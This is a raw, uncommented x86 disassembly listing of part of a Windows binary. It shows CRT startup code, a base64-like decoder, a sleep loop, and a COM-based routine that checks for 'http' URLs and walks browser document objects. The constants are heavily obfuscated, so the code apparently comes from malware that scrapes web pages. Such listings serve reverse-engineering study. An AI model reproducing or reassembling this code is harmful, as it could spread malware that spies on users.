dd 8C3A863Ah, 0A83A9A3Ah, 0C93AC23Ah, 0E13ADB3Ah, 0F53AEF3Ah
dd 2C3B1A3Ah, 4E3B3B3Bh, 7A3B713Bh, 0E03B8A3Bh, 173C103Bh
dd 903C5D3Ch, 0A3C973Ch, 2A3D103Dh, 583D313Dh, 773D5E3Dh
dd 983D7D3Dh, 0B53DAF3Dh, 0DD3DD13Dh, 4F3DE33Dh, 8F3E563Eh
dd 283F1E3Eh, 3A3F343Fh, 4C3F463Fh, 3F993Fh, 0B00000h
dd 0C800h, 55304100h, 6A306430h, 8D307C30h, 0A9309430h
dd 0C830C130h, 0F030DC30h, 46313130h, 5F314E31h, 71316631h
dd 9A317831h, 0B531A031h, 0DE31CD31h, 0FE31E531h, 18320531h
dd 38321F32h, 61324A32h, 9C326732h, 0B832B232h, 0D032CA32h
dd 0DF32D932h, 1E330E32h, 57333E33h, 77335D33h, 94337E33h
dd 0AA33A333h, 0E333C233h, 0F833EF33h, 17340A33h, 33342A34h
dd 5F345334h, 8F347834h, 0BE34A834h, 0D734C834h, 0F334DD34h
dd 12350034h, 3C351935h, 82356835h, 9C359135h, 0C035B635h
dd 235E335h, 96362036h, 0A6369E36h, 0AF36AE36h, 0BE3EB63Eh
dd 0BA3EC63Eh, 0D23FC63Fh, 0EA3FDE3Fh, 3FF63Fh, 0C00000h
dd 1400h, 0E300200h, 26301A30h, 303230h, 1300000h, 4400h
dd 0BC300000h, 58335432h, 60335C33h, 68336433h, 74336C33h
dd 7C337833h, 84338033h, 8C338833h, 98339033h, 0A0339C33h
dd 0A833A433h, 0B033AC33h, 0B833B433h, 0C037BC37h, 37C437h
dd 1500000h, 2000h, 98319400h, 0AC319C31h, 0B431B031h
dd 0BC31B831h, 0C431C031h, 31C831h, 5Fh dup(0)
dd 7587C100h, 46h, 1802800h, 3 dup(100h), 1803400h, 1803800h
dd 1803C00h, 716B6B00h, 2E5F7876h, 6C6C64h, 983E00h, 1804000h
dd 0
dd 694C5F00h, 69614D62h, 30406Eh, 90h dup(0)
dd 7587C100h, 46h, 1802800h, 3 dup(100h), 1803400h, 1803800h
dd 1803C00h, 716B6B00h, 2E5F7876h, 6C6C64h, 983E00h, 1804000h
dd 0
dd 694C5F00h, 69614D62h, 30406Eh, 4448h dup(0)
_data ends
; ---------------------------------------------------------------------------
; Section 4. (virtual address 00038000)
; Virtual size : 0000B03C ( 45116.)
; Section size in file : 0000B03C ( 45116.)
; Offset to raw data for section: 00038000
; Flags 60000020: Text Executable Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 438000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_438006: ; DATA XREF: sub_438026+Ao
xor eax, eax
inc eax
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
jz short locret_438025
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_438025: ; CODE XREF: .text:00438014j
retn
; =============== S U B R O U T I N E =======================================
sub_438026 proc near ; CODE XREF: .text:0043814Ep
; .text:0043817Cp
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset loc_438006
push large dword ptr fs:0
mov large fs:0, esp
loc_438043: ; CODE XREF: sub_438026+44j
; sub_438026+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_438072
cmp esi, [esp+1Ch+arg_4]
jz short loc_438072
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_438043
call dword ptr [ebx+esi*4+8]
jmp short loc_438043
; ---------------------------------------------------------------------------
loc_438072: ; CODE XREF: sub_438026+2Aj
; sub_438026+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_438026 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438080 proc near ; CODE XREF: .text:00438141p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_438098
push [ebp+arg_0]
call sub_442FD0
loc_438098: ; DATA XREF: sub_438080+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_438080 endp
; ---------------------------------------------------------------------------
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_438175
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4380D3: ; CODE XREF: .text:0043816Cj
cmp esi, 0FFFFFFFFh
jz loc_438184
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_438163
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov dword_44A034, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov dword_44A038, eax
mov eax, [edx+4]
mov dword_44A03C, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, dword_44A040
mov esi, dword_44A038
rep movsd
lea edi, dword_44A040
mov dword_44A038, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_438163
js short loc_438171
mov edi, [ebx+8]
push ebx
call sub_438080
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_438026
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_438163: ; CODE XREF: .text:004380E4j
; .text:00438139j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_4380D3
; ---------------------------------------------------------------------------
loc_438171: ; CODE XREF: .text:0043813Bj
xor eax, eax
jmp short loc_43818E
; ---------------------------------------------------------------------------
loc_438175: ; CODE XREF: .text:004380B8j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_438026
add esp, 0Ch
loc_438184: ; CODE XREF: .text:004380D6j
push 0Bh
call sub_443018
add esp, 4
loc_43818E: ; CODE XREF: .text:00438173j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_4381A7
call sub_4381C3
loc_4381A7: ; CODE XREF: .text:004381A0j
call sub_442F5B
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, off_44A000
call eax ; sub_442F30
pop edi
pop esi
pop ebx
leave
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4381C3 proc near ; CODE XREF: .text:004381A2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_442FE8
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_442FE8
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_442FE8
mov [ebp+var_C], eax
push (offset aWr+2)
push [ebp+var_8]
call sub_442FDC
mov dword_44A008, eax
push offset aWr ; "wr"
push [ebp+var_4]
call sub_442FDC
mov dword_44A004, eax
push offset aWr ; "wr"
push [ebp+var_C]
call sub_442FDC
add esp, 30h
mov dword_44A00C, eax
mov edi, dword_44A004
or edi, edi
jz short loc_43823C
push 0
push edi
call sub_443024
add esp, 8
loc_43823C: ; CODE XREF: sub_4381C3+6Cj
mov edi, dword_44A00C
or edi, edi
jz short loc_438256
push 0
push edi
call sub_443024
add esp, 8
call sub_43825C
loc_438256: ; CODE XREF: sub_4381C3+81j
pop edi
leave
retn
sub_4381C3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43825C proc near ; CODE XREF: sub_4381C3+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_442FC4
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_438294
; ---------------------------------------------------------------------------
loc_438278: ; CODE XREF: sub_43825C+3Bj
cmp byte ptr [ebx], 3Dh
jz short loc_438280
inc [ebp+var_C]
loc_438280: ; CODE XREF: sub_43825C+1Fj
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_438294: ; CODE XREF: sub_43825C+1Aj
cmp byte ptr [ebx], 0
jnz short loc_438278
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_44300C
pop ecx
mov [ebp+var_8], eax
mov dword_44A010, eax
cmp [ebp+var_8], 0
jnz short loc_4382C2
xor eax, eax
jmp short loc_43831F
; ---------------------------------------------------------------------------
loc_4382C2: ; CODE XREF: sub_43825C+60j
mov ebx, [ebp+var_10]
jmp short loc_43830C
; ---------------------------------------------------------------------------
loc_4382C7: ; CODE XREF: sub_43825C+B3j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
mov [ebp+var_4], edi
cmp byte ptr [ebx], 3Dh
jz short loc_438306
push [ebp+var_4]
call sub_44300C
pop ecx
mov esi, [ebp+var_8]
mov [esi], eax
or eax, eax
jnz short loc_4382F4
jmp short loc_43831F
; ---------------------------------------------------------------------------
loc_4382F4: ; CODE XREF: sub_43825C+94j
push ebx
mov edi, [ebp+var_8]
push dword ptr [edi]
call sub_443030
add esp, 8
add [ebp+var_8], 4
loc_438306: ; CODE XREF: sub_43825C+82j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_43830C: ; CODE XREF: sub_43825C+69j
cmp byte ptr [ebx], 0
jnz short loc_4382C7
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
mov eax, 1
loc_43831F: ; CODE XREF: sub_43825C+64j
; sub_43825C+96j
pop edi
pop esi
pop ebx
leave
retn
sub_43825C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438324 proc near ; CODE XREF: sub_43C2C0+C1p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 8000h
movsx eax, word_44A1F0
add eax, dword_44A284
sub eax, 0Ch
push eax
push [ebp+arg_0]
call ds:dword_448634 ; VirtualFree
pop ebp
retn
sub_438324 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438348 proc near ; CODE XREF: sub_43AF47+1A4p
; sub_43AF47+259p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
movsx eax, word_44A1FC
add eax, dword_44A108
sub eax, 0Bh
mov [ebp+var_8], eax
mov [ebp+var_C], eax
mov esi, eax
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_8]
add eax, ebx
mov [ebp+var_4], eax
mov edi, [ebp+arg_0]
jmp loc_438486
; ---------------------------------------------------------------------------
loc_43837C: ; CODE XREF: sub_438348+146j
movsx edx, byte ptr [edi]
shl edx, 2
mov esi, dword_44A3B8[edx]
mov eax, dword_44A090
movsx edx, word_44A0E0
add eax, edx
sub eax, 3
neg eax
cmp esi, eax
jz loc_438485
mov eax, [ebp+var_8]
or eax, eax
jl loc_438482
cmp eax, 3
jg loc_438482
jmp off_44A7B8[eax*4]
loc_4383BF: ; DATA XREF: .data:off_44A7B8o
inc [ebp+var_8]
jmp loc_438482
; ---------------------------------------------------------------------------
loc_4383C7: ; CODE XREF: sub_438348+70j
; DATA XREF: .data:0044A7BCo
mov edx, [ebp+var_C]
mov ecx, dword_44A158
add ecx, dword_44A0A8
sub ecx, 0Dh
mov eax, edx
shl eax, cl
mov [ebp+var_18], eax
mov edx, esi
and edx, 30h
mov ecx, dword_44A278
movsx eax, word_44A170
add ecx, eax
mov eax, edx
sar eax, cl
mov edx, [ebp+var_18]
or edx, eax
mov [ebp+var_D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_D]
mov [eax], dl
inc [ebp+var_8]
jmp short loc_438482
; ---------------------------------------------------------------------------
loc_43840D: ; CODE XREF: sub_438348+70j
; DATA XREF: .data:0044A7C0o
mov edx, [ebp+var_C]
and edx, 0Fh
movsx ecx, word_44A1A4
sub ecx, 3
mov eax, edx
shl eax, cl
mov [ebp+var_1C], eax
mov edx, esi
and edx, 3Ch
mov ecx, dword_44A134
sub ecx, 6
mov eax, edx
sar eax, cl
mov edx, [ebp+var_1C]
or edx, eax
mov [ebp+var_D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_D]
mov [eax], dl
inc [ebp+var_8]
jmp short loc_438482
; ---------------------------------------------------------------------------
loc_43844B: ; CODE XREF: sub_438348+70j
; DATA XREF: .data:0044A7C4o
mov edx, [ebp+var_C]
and edx, 3
movsx ecx, word_44A208
inc ecx
mov eax, edx
shl eax, cl
mov edx, eax
or edx, esi
mov [ebp+var_D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_D]
mov [eax], dl
movsx eax, word_44A144
movsx edx, word_44A1DC
add eax, edx
sub eax, 7
mov [ebp+var_8], eax
loc_438482: ; CODE XREF: sub_438348+61j
; sub_438348+6Aj ...
mov [ebp+var_C], esi
loc_438485: ; CODE XREF: sub_438348+56j
inc edi
loc_438486: ; CODE XREF: sub_438348+2Fj
cmp byte ptr [edi], 0
jz short loc_438494
cmp ebx, [ebp+var_4]
jb loc_43837C
loc_438494: ; CODE XREF: sub_438348+141j
cmp byte ptr [edi], 0
jnz short loc_4384A0
mov eax, ebx
sub eax, [ebp+arg_4]
jmp short loc_4384B0
; ---------------------------------------------------------------------------
loc_4384A0: ; CODE XREF: sub_438348+14Fj
mov eax, dword_44A0E4
add eax, dword_44A090
sub eax, 0Bh
neg eax
loc_4384B0: ; CODE XREF: sub_438348+156j
pop edi
pop esi
pop ebx
leave
retn
sub_438348 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4384B5 proc near ; CODE XREF: sub_43858C+68Ap
; sub_4393B1+EFp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
and [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4384CA: ; CODE XREF: sub_4384B5+1Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4384CA
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
lea ecx, [eax]
or eax, 0FFFFFFFFh
loc_4384DC: ; CODE XREF: sub_4384B5+2Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4384DC
mov esi, eax
movsx eax, word_44A118
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_43854D
; ---------------------------------------------------------------------------
loc_4384F4: ; CODE XREF: sub_4384B5+9Ej
mov eax, dword_44A184
movsx edx, word_44A100
mov ebx, eax
add ebx, edx
sub ebx, 5
mov eax, dword_44A1C8
mov edi, eax
add edi, dword_44A13C
sub edi, 3
jmp short loc_438546
; ---------------------------------------------------------------------------
loc_438519: ; CODE XREF: sub_4384B5+93j
mov eax, [ebp+var_4]
add eax, edi
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+edi]
cmp eax, edx
jnz short loc_43854A
inc ebx
cmp ebx, esi
jnz short loc_438545
inc [ebp+var_8]
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jnz short loc_438545
mov eax, [ebp+var_4]
jmp short loc_43855A
; ---------------------------------------------------------------------------
loc_438545: ; CODE XREF: sub_4384B5+7Ej
; sub_4384B5+89j
inc edi
loc_438546: ; CODE XREF: sub_4384B5+62j
cmp edi, esi
jb short loc_438519
loc_43854A: ; CODE XREF: sub_4384B5+79j
inc [ebp+var_4]
loc_43854D: ; CODE XREF: sub_4384B5+3Dj
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb short loc_4384F4
mov eax, 0FFFFh
loc_43855A: ; CODE XREF: sub_4384B5+8Ej
pop edi
pop esi
pop ebx
leave
retn
sub_4384B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43855F proc near ; DATA XREF: sub_439B7B+145o
push ebp
mov ebp, esp
loc_438562: ; CODE XREF: sub_43855F+27j
call sub_43C073
mov eax, dword_44A18C
add eax, 2
mov edx, dword_44A280
add edx, 0EA5Ch
imul eax, edx
push eax
call ds:dword_449630
pop ecx
jmp short loc_438562
sub_43855F endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43858C proc near ; CODE XREF: sub_440EE8+29p
var_71F10 = dword ptr -71F10h
var_71F0C = dword ptr -71F0Ch
var_71F07 = byte ptr -71F07h
var_70F08 = word ptr -70F08h
var_70F00 = dword ptr -70F00h
var_70EF9 = byte ptr -70EF9h
var_70EF8 = dword ptr -70EF8h
var_70EF4 = dword ptr -70EF4h
var_70EEF = byte ptr -70EEFh
var_60EF0 = word ptr -60EF0h
var_60EE8 = dword ptr -60EE8h
var_60EDD = byte ptr -60EDDh
var_60EDC = dword ptr -60EDCh
var_60ED8 = dword ptr -60ED8h
var_60ED4 = dword ptr -60ED4h
var_60ED0 = word ptr -60ED0h
var_60EC8 = dword ptr -60EC8h
var_60EC0 = dword ptr -60EC0h
var_60EBC = dword ptr -60EBCh
var_60EB8 = dword ptr -60EB8h
var_60EB4 = dword ptr -60EB4h
var_60EB0 = dword ptr -60EB0h
var_60EAC = dword ptr -60EACh
var_60EA8 = dword ptr -60EA8h
var_60EA4 = dword ptr -60EA4h
var_60E9F = byte ptr -60E9Fh
var_50E9D = byte ptr -50E9Dh
var_50E9B = byte ptr -50E9Bh
var_40EB8 = byte ptr -40EB8h
var_40EB0 = dword ptr -40EB0h
var_40EA8 = word ptr -40EA8h
var_40EA0 = dword ptr -40EA0h
var_40E9C = dword ptr -40E9Ch
var_40E98 = dword ptr -40E98h
var_40E94 = byte ptr -40E94h
var_40E90 = dword ptr -40E90h
var_40E8C = dword ptr -40E8Ch
var_40E88 = dword ptr -40E88h
var_40E84 = dword ptr -40E84h
var_40E80 = byte ptr -40E80h
var_40E78 = dword ptr -40E78h
var_40E70 = dword ptr -40E70h
var_40E6C = dword ptr -40E6Ch
var_40E68 = dword ptr -40E68h
var_40E64 = dword ptr -40E64h
var_40E60 = dword ptr -40E60h
var_40E5C = dword ptr -40E5Ch
var_40E57 = byte ptr -40E57h
var_40E56 = byte ptr -40E56h
var_40E55 = byte ptr -40E55h
var_40E54 = byte ptr -40E54h
var_30E58 = dword ptr -30E58h
var_30E54 = dword ptr -30E54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30D40 = byte ptr -30D40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 71F10h
call sub_442F6C
push ebx
push esi
push edi
lea eax, [ebp+var_40E80]
push eax
call ds:dword_444038
lea eax, [ebp+var_40E94]
push eax
lea eax, [ebp+var_40E80]
push eax
push 9
movsx eax, word_44A16C
movsx edx, word_44A180
add eax, edx
sub eax, 5
push eax
push [ebp+arg_0]
call ds:dword_447254
mov ebx, eax
movsx eax, word_44A0C0
movsx edx, word_44A1B4
add eax, edx
sub eax, 6
cmp ebx, eax
jnz loc_439355
mov eax, [ebp+var_40E78]
mov [ebp+var_40E64], eax
and [ebp+var_40E60], 0
lea eax, [ebp+var_40E60]
push eax
push offset dword_44BAD8
mov eax, [ebp+var_40E64]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A26C
sub eax, 9
cmp ebx, eax
jnz loc_439355
lea eax, [ebp+var_40E84]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
mov eax, dword_44A224
sub eax, 5
cmp ebx, eax
jnz loc_439349
lea eax, [ebp+var_40E57]
push eax
push [ebp+var_40E84]
call sub_43C434
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_40E98], edi
push [ebp+var_40E84]
call ds:dword_449BA0
cmp [ebp+var_40E57], 68h
jnz short loc_4386A7
cmp [ebp+var_40E56], 74h
jnz short loc_4386A7
cmp [ebp+var_40E55], 74h
jnz short loc_4386A7
cmp [ebp+var_40E54], 70h
jz short loc_4386AC
loc_4386A7: ; CODE XREF: sub_43858C+FEj
; sub_43858C+107j ...
jmp loc_439349
; ---------------------------------------------------------------------------
loc_4386AC: ; CODE XREF: sub_43858C+119j
lea eax, [ebp+var_30E4C]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
mov eax, dword_44A204
add eax, dword_44A0DC
sub eax, 4
cmp ebx, eax
jz short loc_4386DD
and [ebp+var_30E4C], 0
loc_4386DD: ; CODE XREF: sub_43858C+148j
lea eax, [ebp+var_40E68]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
mov eax, dword_44A28C
add eax, dword_44A274
sub eax, 7
cmp ebx, eax
jnz loc_439349
lea eax, [ebp+var_40E6C]
push eax
push offset dword_44BA58
mov eax, [ebp+var_40E68]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A268
sub eax, 4
cmp ebx, eax
jnz loc_43933D
lea eax, [ebp+var_40E70]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
mov eax, dword_44A204
dec eax
cmp ebx, eax
jnz loc_439331
lea eax, [ebp+var_40E90]
push eax
mov eax, [ebp+var_40E70]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
movsx eax, word_44A170
sub eax, 2
cmp ebx, eax
jnz loc_439325
mov eax, dword_44A128
sub eax, 8
neg eax
mov [ebp+var_40E5C], eax
push offset dword_44B9A0
call sub_43F767
push eax
call ds:dword_444044
mov [ebp+var_30E44], eax
push offset dword_44B990
call sub_43F767
add esp, 8
push eax
call ds:dword_444044
mov [ebp+var_30E48], eax
lea eax, [ebp+var_40E57]
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_442F8C
loc_4387D4: ; CODE XREF: sub_43858C+D6Dj
and [ebp+var_40E88], 0
and [ebp+var_40E8C], 0
mov eax, dword_44A194
sub eax, 8
neg eax
cmp [ebp+var_40E5C], eax
jnz short loc_43883F
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, dword_44A1D0
add eax, dword_44A284
sub eax, 10h
cmp ebx, eax
jnz loc_4392E7
push offset byte_44B981
call sub_43C507
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_444020
add esp, 0Ch
jmp loc_438947
; ---------------------------------------------------------------------------
loc_43883F: ; CODE XREF: sub_43858C+266j
mov [ebp+var_40EA8], 17h
mov eax, [ebp+var_40E5C]
mov [ebp+var_40EA0], eax
lea eax, [ebp+var_40EB8]
push eax
lea eax, [ebp+var_40EA8]
push eax
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
lea eax, [ebp+var_40E88]
push eax
push offset dword_44BAA8
push [ebp+var_40EB0]
mov edi, [ebp+var_40EB0]
mov edi, [edi]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A1E8
dec eax
cmp ebx, eax
jnz loc_4392E7
lea eax, [ebp+var_40E8C]
push eax
mov eax, [ebp+var_40E88]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
mov eax, dword_44A0B4
sub eax, 8
cmp ebx, eax
jz short loc_4388D4
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_4392E7
; ---------------------------------------------------------------------------
loc_4388D4: ; CODE XREF: sub_43858C+335j
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E8C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, dword_44A21C
sub eax, 8
cmp ebx, eax
jz short loc_438912
mov eax, [ebp+var_40E8C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_4392E7
; ---------------------------------------------------------------------------
loc_438912: ; CODE XREF: sub_43858C+367j
push offset word_44B972
call sub_43C507
push [ebp+var_40E5C]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_449634
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_444020
add esp, 18h
loc_438947: ; CODE XREF: sub_43858C+2AEj
lea eax, [ebp+var_30E58]
push eax
mov eax, [ebp+var_30E54]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, dword_44A268
sub eax, 4
cmp ebx, eax
jnz loc_4392E7
movsx eax, word_44A240
movsx edx, word_44A0CC
add eax, edx
sub eax, 9
mov [ebp+var_30E50], eax
jmp loc_4392D5
; ---------------------------------------------------------------------------
loc_43898A: ; CODE XREF: sub_43858C+D55j
mov [ebp+var_60ED0], 2
mov eax, [ebp+var_30E50]
mov [ebp+var_60EC8], eax
movsx eax, word_44A0C0
mov edx, dword_44A14C
sub edx, 6
mov [ebp+eax+var_50E9D], dl
lea eax, [ebp+var_60EC0]
push eax
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_30E54]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
movsx eax, word_44A180
sub eax, 4
cmp ebx, eax
jnz loc_4392CF
push offset dword_44B964
call sub_43C507
push [ebp+var_30E50]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_449634
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_444020
add esp, 18h
and [ebp+var_60ED4], 0
lea eax, [ebp+var_60ED4]
push eax
push offset dword_44BA78
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A224
sub eax, 5
cmp ebx, eax
jnz loc_438F54
lea eax, [ebp+var_60ED8]
push eax
mov eax, [ebp+var_60ED4]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
cmp ebx, dword_44A138
jnz loc_438F48
lea eax, [ebp+var_60E9F]
push eax
push [ebp+var_60ED8]
call sub_43C434
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_60EB8], edi
push [ebp+var_60ED8]
call ds:dword_449BA0
movsx eax, word_44A230
sub eax, 6
mov [ebp+var_40E9C], eax
jmp short loc_438B17
; ---------------------------------------------------------------------------
loc_438ACB: ; CODE XREF: sub_43858C+597j
mov eax, [ebp+var_40E9C]
movsx eax, [ebp+eax+var_60E9F]
movsx edx, word_44A104
add edx, 5
cmp eax, edx
jz short loc_438AF5
movsx edx, word_44A130
add edx, 7
cmp eax, edx
jnz short loc_438B11
loc_438AF5: ; CODE XREF: sub_43858C+559j
mov eax, [ebp+var_40E9C]
mov edx, dword_44A25C
add edx, dword_44A1D8
sub edx, 11h
mov [ebp+eax+var_60E9F], dl
loc_438B11: ; CODE XREF: sub_43858C+567j
inc [ebp+var_40E9C]
loc_438B17: ; CODE XREF: sub_43858C+53Dj
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb short loc_438ACB
lea eax, [ebp+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_442F8C
mov eax, dword_44A148
sub eax, 2
mov [ebp+var_40E9C], eax
loc_438B46: ; CODE XREF: sub_43858C+70Dj
mov eax, [ebp+var_40E9C]
lea ecx, [ebp+eax+var_60E9F]
or eax, 0FFFFFFFFh
loc_438B56: ; CODE XREF: sub_43858C+5CFj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_438B56
mov [ebp+var_60EA8], eax
mov edx, dword_44A184
add edx, dword_44A188
sub edx, 2
cmp eax, edx
jz short loc_438B8E
movsx edx, word_44A130
mov ecx, dword_44A13C
lea edx, [edx+ecx+0C2h]
cmp eax, edx
jbe short loc_438B93
